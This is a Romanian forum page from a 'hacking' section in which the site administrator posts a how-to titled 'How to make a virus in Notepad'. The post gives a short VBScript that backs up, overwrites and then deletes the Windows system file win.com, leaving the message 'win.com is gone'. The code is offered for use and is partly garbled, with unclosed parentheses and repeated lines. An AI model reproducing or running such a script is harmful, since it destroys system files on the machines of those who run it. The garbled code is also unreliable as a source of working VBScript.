Simpatie.ro - matrimoniale
...::*Link-Mania*::...
Un forum cu si despre tot ce ai nevoie ca statul in fata calculatorului sa fie o distractie Garantata ... Asezati-va, Relaxati-va si Bucurati-va de Spectacol 		Nou pe simpatie:
carmenitza la Simpatie.ro
Femeie
24 ani
Ialomita
cauta Barbat
24 - 48 ani
...::*Link-Mania*::...InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
...::*Link-Mania*::... / --=[ HackinG in PC ! ]=-- /

Cum faci virus in NOTEPAD

 Pagini: 1  
#1
Link-Mania
Administrator
Din: -=Murfatlar=-
Postari: 258
Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
Code:

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
 
   

Topicuri similare

Pagini: 1  
Mergi la